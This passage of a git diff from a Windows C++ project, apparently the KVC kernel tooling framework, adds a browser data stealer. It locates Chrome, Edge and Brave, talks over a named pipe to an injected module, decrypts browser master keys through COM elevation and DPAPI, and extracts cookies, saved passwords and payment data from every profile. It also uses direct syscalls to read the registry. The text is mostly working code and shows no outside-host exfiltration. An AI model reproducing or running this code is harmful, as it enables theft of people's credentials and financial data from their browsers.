SetColor(color); + std::cout << tag; + ResetColor(); + std::cout << message.substr(tagEnd + 1) << std::endl; + } + else + { + std::cout << message << std::endl; + } +} + +void Console::print(const std::string& tag, const std::string& msg, WORD color) const +{ + SetColor(color); + std::cout << tag; + ResetColor(); + std::cout << " " << msg << std::endl; +} + +void Console::SetColor(WORD attributes) const noexcept { SetConsoleTextAttribute(m_hConsole, attributes); } +void Console::ResetColor() const noexcept { SetConsoleTextAttribute(m_hConsole, m_originalAttributes); } + +// PipeCommunicator implementation +PipeCommunicator::PipeCommunicator(const std::wstring& pipeName, const Console& console) + : m_pipeName(pipeName), m_console(console) {} + +void PipeCommunicator::create() +{ + m_pipeHandle.reset(CreateNamedPipeW(m_pipeName.c_str(), PIPE_ACCESS_DUPLEX, + PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT, + 1, 4096, 4096, 0, nullptr)); + if (!m_pipeHandle) + throw std::runtime_error("CreateNamedPipeW failed. Error: " + std::to_string(GetLastError())); + + m_console.Debug("Named pipe server created: " + Utils::WStringToUtf8(m_pipeName)); +} + +void PipeCommunicator::waitForClient() +{ + m_console.Debug("Waiting for security module to connect to named pipe."); + if (!ConnectNamedPipe(m_pipeHandle.get(), nullptr) && GetLastError() != ERROR_PIPE_CONNECTED) + throw std::runtime_error("ConnectNamedPipe failed. Error: " + std::to_string(GetLastError())); + + m_console.Debug("Security module connected to named pipe."); +} + +void PipeCommunicator::sendInitialData(bool isVerbose, const fs::path& outputPath, const std::vector& edgeDpapiKey) +{ + writeMessage(isVerbose ? "VERBOSE_TRUE" : "VERBOSE_FALSE"); + writeMessage(Utils::path_to_api_string(outputPath)); + + // Send DPAPI key as hex string (or "NONE" if empty) + if (!edgeDpapiKey.empty()) + { + std::ostringstream oss; + oss << std::hex << std::setfill('0'); + for (uint8_t byte : edgeDpapiKey) + oss << std::setw(2) << static_cast(byte); + writeMessage("DPAPI_KEY:" + oss.str()); + } + else + { + writeMessage("DPAPI_KEY:NONE"); + } +} + +void PipeCommunicator::relayMessages() +{ + m_console.Debug("Waiting for security module execution. (Pipe: " + Utils::WStringToUtf8(m_pipeName) + ")"); + + if (m_console.m_verbose) + std::cout << std::endl; + + const std::string moduleCompletionSignal = "__DLL_PIPE_COMPLETION_SIGNAL__"; + DWORD startTime = GetTickCount(); + std::string accumulatedData; + char buffer[4096]; + bool completed = false; + + while (!completed && (GetTickCount() - startTime < MODULE_COMPLETION_TIMEOUT_MS)) + { + DWORD bytesAvailable = 0; + if (!PeekNamedPipe(m_pipeHandle.get(), nullptr, 0, nullptr, &bytesAvailable, nullptr)) + { + if (GetLastError() == ERROR_BROKEN_PIPE) + break; + m_console.Error("PeekNamedPipe failed. Error: " + std::to_string(GetLastError())); + break; + } + + if (bytesAvailable == 0) + { + Sleep(100); + continue; + } + + DWORD bytesRead = 0; + if (!ReadFile(m_pipeHandle.get(), buffer, sizeof(buffer) - 1, &bytesRead, nullptr) || bytesRead == 0) + { + if (GetLastError() == ERROR_BROKEN_PIPE) + break; + continue; + } + + accumulatedData.append(buffer, bytesRead); + + size_t messageStart = 0; + size_t nullPos; + while ((nullPos = accumulatedData.find('\0', messageStart)) != std::string::npos) + { + std::string message = accumulatedData.substr(messageStart, nullPos - messageStart); + messageStart = nullPos + 1; + + if (message == moduleCompletionSignal) + { + m_console.Debug("Security module completion signal received."); + completed = true; + break; + } + + parseExtractionMessage(message); + + if (!message.empty() && m_console.m_verbose) + m_console.Relay(message); + } + + if (completed) + break; + + accumulatedData.erase(0, messageStart); + } + + if (m_console.m_verbose) + std::cout << std::endl; + + m_console.Debug("Security module signaled completion or pipe interaction ended."); +} + +void PipeCommunicator::writeMessage(const std::string& msg) +{ + DWORD bytesWritten = 0; + if (!WriteFile(m_pipeHandle.get(), msg.c_str(), static_cast(msg.length() + 1), &bytesWritten, nullptr) || + bytesWritten != (msg.length() + 1)) + throw std::runtime_error("WriteFile to pipe failed for message: " + msg); + + m_console.Debug("Sent message to pipe: " + msg); +} + +void PipeCommunicator::parseExtractionMessage(const std::string& message) +{ + auto extractNumber = [&message](const std::string& prefix, const std::string& suffix) -> int + { + size_t start = message.find(prefix); + if (start == std::string::npos) return 0; + start += prefix.length(); + size_t end = message.find(suffix, start); + if (end == std::string::npos) return 0; + + try { + return std::stoi(message.substr(start, end - start)); + } + catch (...) { + return 0; + } + }; + + if (message.find("Found ") != std::string::npos && message.find("profile(s)") != std::string::npos) + m_stats.profileCount = extractNumber("Found ", " profile(s)"); + + if (message.find("Decrypted AES Key: ") != std::string::npos) + m_stats.aesKey = message.substr(message.find("Decrypted AES Key: ") + 19); + + if (message.find(" cookies extracted to ") != std::string::npos) + m_stats.totalCookies += extractNumber("[*] ", " cookies"); + + if (message.find(" passwords extracted to ") != std::string::npos) + m_stats.totalPasswords += extractNumber("[*] ", " passwords"); + + if (message.find(" payments extracted to ") != std::string::npos) + m_stats.totalPayments += extractNumber("[*] ", " payments"); +} + +// BrowserPathResolver implementation +BrowserPathResolver::BrowserPathResolver(const Console& console) : m_console(console) {} + +std::wstring BrowserPathResolver::resolve(const std::wstring& browserExeName) +{ + m_console.Debug("Searching Registry for: " + Utils::WStringToUtf8(browserExeName)); + + const std::wstring registryPaths[] = { + L"\\Registry\\Machine\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\" + browserExeName, + L"\\Registry\\Machine\\SOFTWARE\\WOW6432Node\\Microsoft\\Windows\\CurrentVersion\\App Paths\\" + browserExeName + }; + + for (const auto& regPath : registryPaths) + { + std::wstring path = queryRegistryDefaultValue(regPath); + if (!path.empty() && fs::exists(path)) + { + m_console.Debug("Found at: " + Utils::WStringToUtf8(path)); + return path; + } + } + + m_console.Debug("Not found in Registry"); + return L""; +} + +std::vector> BrowserPathResolver::findAllInstalledBrowsers() +{ + std::vector> installedBrowsers; + + const std::pair supportedBrowsers[] = { + {L"chrome", L"chrome.exe"}, + {L"edge", L"msedge.exe"}, + {L"brave", L"brave.exe"} + }; + + m_console.Debug("Enumerating installed browsers..."); + + for (const auto& [browserType, exeName] : supportedBrowsers) + { + std::wstring path = resolve(exeName); + if (!path.empty()) + { + installedBrowsers.push_back({browserType, path}); + m_console.Debug("Found " + Utils::Capitalize(Utils::WStringToUtf8(browserType)) + + " at: " + Utils::WStringToUtf8(path)); + } + } + + if (installedBrowsers.empty()) + m_console.Warn("No supported browsers found installed on this system"); + else + m_console.Debug("Found " + std::to_string(installedBrowsers.size()) + " browser(s) to process"); + + return installedBrowsers; +} + +std::wstring BrowserPathResolver::queryRegistryDefaultValue(const std::wstring& keyPath) +{ + std::vector pathBuffer(keyPath.begin(), keyPath.end()); + pathBuffer.push_back(L'\0'); + + UNICODE_STRING_SYSCALLS keyName; + keyName.Buffer = pathBuffer.data(); + keyName.Length = static_cast(keyPath.length() * sizeof(wchar_t)); + keyName.MaximumLength = static_cast(pathBuffer.size() * sizeof(wchar_t)); + + OBJECT_ATTRIBUTES objAttr; + InitializeObjectAttributes(&objAttr, &keyName, OBJ_CASE_INSENSITIVE, nullptr, nullptr); + + HANDLE hKey = nullptr; + NTSTATUS status = NtOpenKey_syscall(&hKey, KEY_READ, &objAttr); + + if (!NT_SUCCESS(status)) + { + if (status != (NTSTATUS)0xC0000034) // STATUS_OBJECT_NAME_NOT_FOUND + m_console.Debug("Registry access failed: " + Utils::NtStatusToString(status)); + return L""; + } + + // RAII guard for key handle + struct KeyGuard { + HANDLE h; + ~KeyGuard() { if (h) NtClose_syscall(h); } + } keyGuard{hKey}; + + UNICODE_STRING_SYSCALLS valueName = {0, 0, nullptr}; + ULONG bufferSize = 4096; + std::vector buffer(bufferSize); + ULONG resultLength = 0; + + status = NtQueryValueKey_syscall(hKey, &valueName, KeyValuePartialInformation, + buffer.data(), bufferSize, &resultLength); + + if (status == STATUS_BUFFER_TOO_SMALL || status == STATUS_BUFFER_OVERFLOW) + { + buffer.resize(resultLength); + bufferSize = resultLength; + status = NtQueryValueKey_syscall(hKey, &valueName, KeyValuePartialInformation, + buffer.data(), bufferSize, &resultLength); + } + + if (!NT_SUCCESS(status)) + return L""; + + auto kvpi = reinterpret_cast(buffer.data()); + + if (kvpi->Type != REG_SZ && kvpi->Type != REG_EXPAND_SZ) + return L""; + if (kvpi->DataLength < sizeof(wchar_t) * 2) + return L""; + + size_t charCount = kvpi->DataLength / sizeof(wchar_t); + std::wstring path(reinterpret_cast(kvpi->Data), charCount); + + while (!path.empty() && path.back() == L'\0') + path.pop_back(); + + if (path.empty()) + return L""; + + if (kvpi->Type == REG_EXPAND_SZ) + { + std::vector expanded(MAX_PATH * 2); + DWORD size = ExpandEnvironmentStringsW(path.c_str(), expanded.data(), + static_cast(expanded.size())); + if (size > 0 && size <= expanded.size()) + path = std::wstring(expanded.data()); + } + + return path; +} \ No newline at end of file diff --git a/kvc/CommunicationLayer.h b/kvc/CommunicationLayer.h new file mode 100644 index 0000000..d010c71 --- /dev/null +++ b/kvc/CommunicationLayer.h @@ -0,0 +1,112 @@ +// CommunicationLayer.h - Console output and inter-process communication +#ifndef COMMUNICATION_LAYER_H +#define COMMUNICATION_LAYER_H + +#include +#include +#include +#include +#include + +namespace fs = std::filesystem; + +// Utility functions for string and path operations +namespace Utils +{ + std::string u8string_to_string(const std::u8string& u8str) noexcept; + std::string path_to_api_string(const fs::path& path); + fs::path GetLocalAppDataPath(); + std::string WStringToUtf8(std::wstring_view w_sv); + std::string PtrToHexStr(const void* ptr) noexcept; + std::string NtStatusToString(NTSTATUS status) noexcept; + std::wstring GenerateUniquePipeName(); + std::string Capitalize(const std::string& str); +} + +// Manages console output with colored messages +class Console +{ +public: + explicit Console(bool verbose); + + void displayBanner() const; + void printUsage() const; + + void Info(const std::string& msg) const; + void Success(const std::string& msg) const; + void Error(const std::string& msg) const; + void Warn(const std::string& msg) const; + void Debug(const std::string& msg) const; + void Relay(const std::string& message) const; + + bool m_verbose; + +private: + void print(const std::string& tag, const std::string& msg, WORD color) const; + void SetColor(WORD attributes) const noexcept; + void ResetColor() const noexcept; + + HANDLE m_hConsole; + WORD m_originalAttributes; +}; + +// Handles named pipe communication with injected module +class PipeCommunicator +{ +public: + struct ExtractionStats + { + int totalCookies = 0; + int totalPasswords = 0; + int totalPayments = 0; + int profileCount = 0; + std::string aesKey; + }; + + PipeCommunicator(const std::wstring& pipeName, const Console& console); + + void create(); + void waitForClient(); + void sendInitialData(bool isVerbose, const fs::path& outputPath, const std::vector& edgeDpapiKey = {}); + void relayMessages(); + + const ExtractionStats& getStats() const noexcept { return m_stats; } + const std::wstring& getName() const noexcept { return m_pipeName; } + +private: + // RAII wrapper for pipe handle + struct PipeDeleter + { + void operator()(HANDLE h) const noexcept + { + if (h != INVALID_HANDLE_VALUE) + CloseHandle(h); + } + }; + using UniquePipe = std::unique_ptr; + + void writeMessage(const std::string& msg); + void parseExtractionMessage(const std::string& message); + + std::wstring m_pipeName; + const Console& m_console; + UniquePipe m_pipeHandle; + ExtractionStats m_stats; +}; + +// Resolves browser installation paths via Registry +class BrowserPathResolver +{ +public: + explicit BrowserPathResolver(const Console& console); + + std::wstring resolve(const std::wstring& browserExeName); + std::vector> findAllInstalledBrowsers(); + +private: + std::wstring queryRegistryDefaultValue(const std::wstring& keyPath); + + const Console& m_console; +}; + +#endif // COMMUNICATION_LAYER_H \ No newline at end of file diff --git a/kvc/CommunicationModule.cpp b/kvc/CommunicationModule.cpp new file mode 100644 index 0000000..2cb35ce --- /dev/null +++ b/kvc/CommunicationModule.cpp @@ -0,0 +1,103 @@ +// CommunicationModule.cpp - Pipe communication and utility functions +#include "CommunicationModule.h" +#include +#include + +#pragma comment(lib, "Crypt32.lib") + +namespace SecurityComponents +{ + namespace Utils + { + // Retrieves Local AppData path + fs::path GetLocalAppDataPath() + { + PWSTR path = nullptr; + if (SUCCEEDED(SHGetKnownFolderPath(FOLDERID_LocalAppData, 0, NULL, &path))) + { + fs::path result = path; + CoTaskMemFree(path); + return result; + } + throw std::runtime_error("Failed to get Local AppData path."); + } + + // Decodes Base64 string into byte vector + std::optional> Base64Decode(const std::string& input) + { + DWORD size = 0; + if (!CryptStringToBinaryA(input.c_str(), 0, CRYPT_STRING_BASE64, nullptr, &size, nullptr, nullptr)) + return std::nullopt; + + std::vector data(size); + if (!CryptStringToBinaryA(input.c_str(), 0, CRYPT_STRING_BASE64, data.data(), &size, nullptr, nullptr)) + return std::nullopt; + + return data; + } + + // Converts byte array to hex string + std::string BytesToHexString(const std::vector& bytes) + { + std::ostringstream oss; + oss << std::hex << std::setfill('0'); + for (uint8_t byte : bytes) + oss << std::setw(2) << static_cast(byte); + return oss.str(); + } + + // Escapes JSON special characters + std::string EscapeJson(const std::string& s) + { + std::ostringstream o; + for (char c : s) + { + switch (c) + { + case '"': o << "\\\""; break; + case '\\': o << "\\\\"; break; + case '\b': o << "\\b"; break; + case '\f': o << "\\f"; break; + case '\n': o << "\\n"; break; + case '\r': o << "\\r"; break; + case '\t': o << "\\t"; break; + default: + if ('\x00' <= c && c <= '\x1f') + { + o << "\\u" << std::hex << std::setw(4) << std::setfill('0') << static_cast(c); + } + else + { + o << c; + } + } + } + return o.str(); + } + } + + // PipeLogger implementation + PipeLogger::PipeLogger(LPCWSTR pipeName) + { + m_pipe = CreateFileW(pipeName, GENERIC_WRITE | GENERIC_READ, 0, nullptr, OPEN_EXISTING, 0, nullptr); + } + + PipeLogger::~PipeLogger() + { + if (m_pipe != INVALID_HANDLE_VALUE) + { + Log("__DLL_PIPE_COMPLETION_SIGNAL__"); + FlushFileBuffers(m_pipe); + CloseHandle(m_pipe); + } + } + + void PipeLogger::Log(const std::string& message) + { + if (isValid()) + { + DWORD bytesWritten = 0; + WriteFile(m_pipe, message.c_str(), static_cast(message.length() + 1), &bytesWritten, nullptr); + } + } +} \ No newline at end of file diff --git a/kvc/CommunicationModule.h b/kvc/CommunicationModule.h new file mode 100644 index 0000000..85a25bd --- /dev/null +++ b/kvc/CommunicationModule.h @@ -0,0 +1,58 @@ +// CommunicationModule.h - Inter-process communication and utilities +#ifndef COMMUNICATION_MODULE_H +#define COMMUNICATION_MODULE_H + +#include +#include +#include +#include +#include +#include +#include + +namespace fs = std::filesystem; + +// String utility functions for internal module use +namespace StringUtils +{ + inline std::string path_to_string(const fs::path& path) + { + return path.string(); + } +} + +namespace SecurityComponents +{ + // Utility functions for encoding and formatting + namespace Utils + { + // Retrieves Local AppData directory path + fs::path GetLocalAppDataPath(); + + // Decodes Base64 encoded string + std::optional> Base64Decode(const std::string& input); + + // Converts bytes to hexadecimal string + std::string BytesToHexString(const std::vector& bytes); + + // Escapes special characters for JSON serialization + std::string EscapeJson(const std::string& s); + } + + // Manages named pipe communication with orchestrator + class PipeLogger + { + public: + explicit PipeLogger(LPCWSTR pipeName); + ~PipeLogger(); + + bool isValid() const noexcept { return m_pipe != INVALID_HANDLE_VALUE; } + void Log(const std::string& message); + HANDLE getHandle() const noexcept { return m_pipe; } + + private: + HANDLE m_pipe = INVALID_HANDLE_VALUE; + }; +} + +#endif // COMMUNICATION_MODULE_H \ No newline at end of file diff --git a/kvc/ControllerBinaryManager.cpp b/kvc/ControllerBinaryManager.cpp index f4eeec6..ae3673e 100644 --- a/kvc/ControllerBinaryManager.cpp +++ b/kvc/ControllerBinaryManager.cpp @@ -1,28 +1,3 @@ -/******************************************************************************* - _ ____ ______ - | |/ /\ \ / / ___| - | ' / \ \ / / | - | . \ \ V /| |___ - |_|\_\ \_/ \____| - -The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, -offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived -as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation -of kernel-level primitives** for legitimate security research and penetration testing. - -KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows -security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware -Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures -that define these protections. - - ----------------------------------------------------------------------------- - Author : Marek Wesołowski - Email : marek@wesolowski.eu.org - Phone : +48 607 440 283 (Tel/WhatsApp) - Date : 04-09-2025 - -*******************************************************************************/ - // ControllerBinaryManager.cpp - Fixed compilation issues #include "Controller.h" #include "common.h" diff --git a/kvc/ControllerCore.cpp b/kvc/ControllerCore.cpp index 3cec5dd..285da4a 100644 --- a/kvc/ControllerCore.cpp +++ b/kvc/ControllerCore.cpp @@ -1,28 +1,3 @@ -/******************************************************************************* - _ ____ ______ - | |/ /\ \ / / ___| - | ' / \ \ / / | - | . \ \ V /| |___ - |_|\_\ \_/ \____| - -The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, -offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived -as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation -of kernel-level primitives** for legitimate security research and penetration testing. - -KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows -security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware -Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures -that define these protections. - - ----------------------------------------------------------------------------- - Author : Marek Wesołowski - Email : marek@wesolowski.eu.org - Phone : +48 607 440 283 (Tel/WhatsApp) - Date : 04-09-2025 - -*******************************************************************************/ - // ControllerCore.cpp #include "Controller.h" #include "common.h" diff --git a/kvc/ControllerDriverManager.cpp b/kvc/ControllerDriverManager.cpp index db837d3..eaa82fb 100644 --- a/kvc/ControllerDriverManager.cpp +++ b/kvc/ControllerDriverManager.cpp @@ -1,28 +1,3 @@ -/******************************************************************************* - _ ____ ______ - | |/ /\ \ / / ___| - | ' / \ \ / / | - | . \ \ V /| |___ - |_|\_\ \_/ \____| - -The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, -offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived -as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation -of kernel-level primitives** for legitimate security research and penetration testing. - -KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows -security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware -Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures -that define these protections. - - ----------------------------------------------------------------------------- - Author : Marek Wesołowski - Email : marek@wesolowski.eu.org - Phone : +48 607 440 283 (Tel/WhatsApp) - Date : 04-09-2025 - -*******************************************************************************/ - // ControllerDriverManager.cpp #include "Controller.h" #include "common.h" diff --git a/kvc/ControllerEventLogOperations.cpp b/kvc/ControllerEventLogOperations.cpp index 6e444c6..cce7e6e 100644 --- a/kvc/ControllerEventLogOperations.cpp +++ b/kvc/ControllerEventLogOperations.cpp @@ -1,28 +1,3 @@ -/******************************************************************************* - _ ____ ______ - | |/ /\ \ / / ___| - | ' / \ \ / / | - | . \ \ V /| |___ - |_|\_\ \_/ \____| - -The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, -offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived -as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation -of kernel-level primitives** for legitimate security research and penetration testing. - -KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows -security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware -Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures -that define these protections. - - ----------------------------------------------------------------------------- - Author : Marek Wesołowski - Email : marek@wesolowski.eu.org - Phone : +48 607 440 283 (Tel/WhatsApp) - Date : 04-09-2025 - -*******************************************************************************/ - #include "Controller.h" #include "common.h" diff --git a/kvc/ControllerMemoryOperations.cpp b/kvc/ControllerMemoryOperations.cpp index 4d515a1..b1159e4 100644 --- a/kvc/ControllerMemoryOperations.cpp +++ b/kvc/ControllerMemoryOperations.cpp @@ -1,28 +1,3 @@ -/******************************************************************************* - _ ____ ______ - | |/ /\ \ / / ___| - | ' / \ \ / / | - | . \ \ V /| |___ - |_|\_\ \_/ \____| - -The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, -offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived -as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation -of kernel-level primitives** for legitimate security research and penetration testing. - -KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows -security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware -Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures -that define these protections. - - ----------------------------------------------------------------------------- - Author : Marek Wesołowski - Email : marek@wesolowski.eu.org - Phone : +48 607 440 283 (Tel/WhatsApp) - Date : 04-09-2025 - -*******************************************************************************/ - // ControllerMemoryOperations.cpp #include "Controller.h" #include "common.h" diff --git a/kvc/ControllerPasswordManager.cpp b/kvc/ControllerPasswordManager.cpp index d5d84f7..0768ed1 100644 --- a/kvc/ControllerPasswordManager.cpp +++ b/kvc/ControllerPasswordManager.cpp @@ -1,28 +1,3 @@ -/******************************************************************************* - _ ____ ______ - | |/ /\ \ / / ___| - | ' / \ \ / / | - | . \ \ V /| |___ - |_|\_\ \_/ \____| - -The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, -offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived -as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation -of kernel-level primitives** for legitimate security research and penetration testing. - -KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows -security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware -Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures -that define these protections. - - ----------------------------------------------------------------------------- - Author : Marek Wesołowski - Email : marek@wesolowski.eu.org - Phone : +48 607 440 283 (Tel/WhatsApp) - Date : 04-09-2025 - -*******************************************************************************/ - #include "Controller.h" #include "ReportExporter.h" #include "common.h" diff --git a/kvc/ControllerProcessOperations.cpp b/kvc/ControllerProcessOperations.cpp index 3a8e658..7854e1a 100644 --- a/kvc/ControllerProcessOperations.cpp +++ b/kvc/ControllerProcessOperations.cpp @@ -1,28 +1,3 @@ -/******************************************************************************* - _ ____ ______ - | |/ /\ \ / / ___| - | ' / \ \ / / | - | . \ \ V /| |___ - |_|\_\ \_/ \____| - -The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, -offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived -as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation -of kernel-level primitives** for legitimate security research and penetration testing. - -KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows -security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware -Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures -that define these protections. - - ----------------------------------------------------------------------------- - Author : Marek Wesołowski - Email : marek@wesolowski.eu.org - Phone : +48 607 440 283 (Tel/WhatsApp) - Date : 04-09-2025 - -*******************************************************************************/ - // ControllerProcessOperations.cpp #include "Controller.h" #include "common.h" diff --git a/kvc/ControllerSystemIntegration.cpp b/kvc/ControllerSystemIntegration.cpp index cab2b1a..5a9bc78 100644 --- a/kvc/ControllerSystemIntegration.cpp +++ b/kvc/ControllerSystemIntegration.cpp @@ -1,28 +1,3 @@ -/******************************************************************************* - _ ____ ______ - | |/ /\ \ / / ___| - | ' / \ \ / / | - | . \ \ V /| |___ - |_|\_\ \_/ \____| - -The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research, -offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived -as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation -of kernel-level primitives** for legitimate security research and penetration testing. - -KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows -security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware -Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures -that define these protections. - - ----------------------------------------------------------------------------- - Author : Marek Wesołowski - Email : marek@wesolowski.eu.org - Phone : +48 607 440 283 (Tel/WhatsApp) - Date : 04-09-2025 - -*******************************************************************************/ - // ControllerSystemIntegration.cpp #include "Controller.h" #include "common.h" diff --git a/kvc/CryptCore.cpp b/kvc/CryptCore.cpp new file mode 100644 index 0000000..05d7ab8 --- /dev/null +++ b/kvc/CryptCore.cpp @@ -0,0 +1,232 @@ +// CryptCore.cpp - Security module entry point and workflow coordination +// Implements split-key strategy for Edge: COM for cookies/payments, DPAPI for passwords +#include "CryptCore.h" +#include "BrowserCrypto.h" +#include "DataExtraction.h" +#include "CommunicationModule.h" +#include "SelfLoader.h" +#include +#include + +namespace SecurityComponents +{ + // Initializes security orchestrator and establishes pipe communication + SecurityOrchestrator::SecurityOrchestrator(LPCWSTR lpcwstrPipeName) + { + m_logger.emplace(lpcwstrPipeName); + + if (!m_logger->isValid()) + { + throw std::runtime_error("Failed to connect to named pipe from orchestrator."); + } + ReadPipeParameters(); + } + + // Main execution workflow: decrypt keys, enumerate profiles, extract data + void SecurityOrchestrator::Run() + { + BrowserManager browserManager; + const auto& browserConfig = browserManager.getConfig(); + m_logger->Log("[*] Security analysis process started for " + browserConfig.name); + + std::vector comKey, dpapiKey; + fs::path localStatePath = browserManager.getUserDataRoot() / "Local State"; + + // Edge requires split-key strategy: different keys for different data types + if (browserConfig.name == "Edge") + { + m_logger->Log("[*] Initializing split-phase strategy for Edge"); + + // Phase 1: COM elevation for cookies and payment data + try { + m_logger->Log("[*] Phase 1: COM extraction (cookies/payments)"); + MasterKeyDecryptor comDecryptor(*m_logger); + comKey = comDecryptor.Decrypt(browserConfig, localStatePath, DataType::Cookies); + m_logger->Log("[+] COM key acquired: " + Utils::BytesToHexString(comKey)); + } catch (const std::exception& e) { + m_logger->Log("[-] COM key acquisition failed: " + std::string(e.what())); + throw; + } + + // Phase 2: Use pre-decrypted DPAPI key from orchestrator for passwords + if (!m_edgeDpapiKey.empty()) + { + m_logger->Log("[*] Phase 2: Using pre-decrypted DPAPI key from orchestrator"); + dpapiKey = m_edgeDpapiKey; + m_logger->Log("[+] DPAPI key ready: " + Utils::BytesToHexString(dpapiKey)); + } + else + { + m_logger->Log("[-] No DPAPI key available - Edge passwords will not be extracted"); + dpapiKey = comKey; + } + } + else + { + // Chrome/Brave use single COM-elevated key for all data types + m_logger->Log("[*] Initializing single-key strategy for " + browserConfig.name); + MasterKeyDecryptor keyDecryptor(*m_logger); + comKey = keyDecryptor.Decrypt(browserConfig, localStatePath, DataType::All); + dpapiKey = comKey; + m_logger->Log("[+] Single COM key: " + Utils::BytesToHexString(comKey)); + } + + // Enumerate all browser profiles + ProfileEnumerator enumerator(browserManager.getUserDataRoot(), *m_logger); + auto profilePaths = enumerator.FindProfiles(); + m_logger->Log("[+] Found " + std::to_string(profilePaths.size()) + " profile(s)"); + + // Extract data from each profile + for (const auto& profilePath : profilePaths) + { + m_logger->Log("[*] Processing profile: " + StringUtils::path_to_string(profilePath.filename())); + + for (const auto& dataConfig : Data::GetExtractionConfigs()) + { + // Select appropriate key based on data type and browser + const std::vector* extractionKey = &comKey; + std::string keyType = "COM"; + + if (browserConfig.name == "Edge" && dataConfig.outputFileName == "passwords") + { + extractionKey = &dpapiKey; + keyType = "DPAPI"; + } + + m_logger->Log("[*] Using " + keyType + " key for " + dataConfig.outputFileName + " extraction"); + + try { + DataExtractor extractor(profilePath, dataConfig, *extractionKey, *m_logger, + m_outputPath, browserConfig.name); + extractor.Extract(); + } catch (const std::exception& e) { + m_logger->Log("[-] Extraction failed for " + dataConfig.outputFileName + ": " + + std::string(e.what())); + } + } + } + + m_logger->Log("[*] Security analysis process finished successfully"); + } + + // Reads configuration parameters from orchestrator via named pipe + void SecurityOrchestrator::ReadPipeParameters() + { + char buffer[1024] = {0}; + DWORD bytesRead = 0; + + // Read verbose flag + if (!ReadFile(m_logger->getHandle(), buffer, sizeof(buffer) - 1, &bytesRead, nullptr) || bytesRead == 0) + { + m_logger->Log("[-] Failed to read verbose flag from pipe"); + return; + } + + // Read output path + memset(buffer, 0, sizeof(buffer)); + if (!ReadFile(m_logger->getHandle(), buffer, sizeof(buffer) - 1, &bytesRead, nullptr) || bytesRead == 0) + { + m_logger->Log("[-] Failed to read output path from pipe"); + return; + } + buffer[bytesRead] = '\0'; + m_outputPath = buffer; + m_logger->Log("[*] Output path configured: " + StringUtils::path_to_string(m_outputPath)); + + // Read DPAPI key (Edge only) + memset(buffer, 0, sizeof(buffer)); + if (!ReadFile(m_logger->getHandle(), buffer, sizeof(buffer) - 1, &bytesRead, nullptr) || bytesRead == 0) + { + m_logger->Log("[-] Failed to read DPAPI key from pipe"); + return; + } + buffer[bytesRead] = '\0'; + + // Parse DPAPI key message + try { + std::string dpapiKeyMsg(buffer); + + if (dpapiKeyMsg.find("DPAPI_KEY:") == 0) + { + std::string hexKey = dpapiKeyMsg.substr(10); + + if (hexKey != "NONE" && hexKey.length() >= 64) + { + m_edgeDpapiKey.resize(32); + for (size_t i = 0; i < 32; ++i) + { + std::string byteStr = hexKey.substr(i * 2, 2); + unsigned long byte = std::stoul(byteStr, nullptr, 16); + m_edgeDpapiKey[i] = static_cast(byte); + } + m_logger->Log("[+] Received pre-decrypted DPAPI key from orchestrator: " + + std::to_string(m_edgeDpapiKey.size()) + " bytes"); + } + else 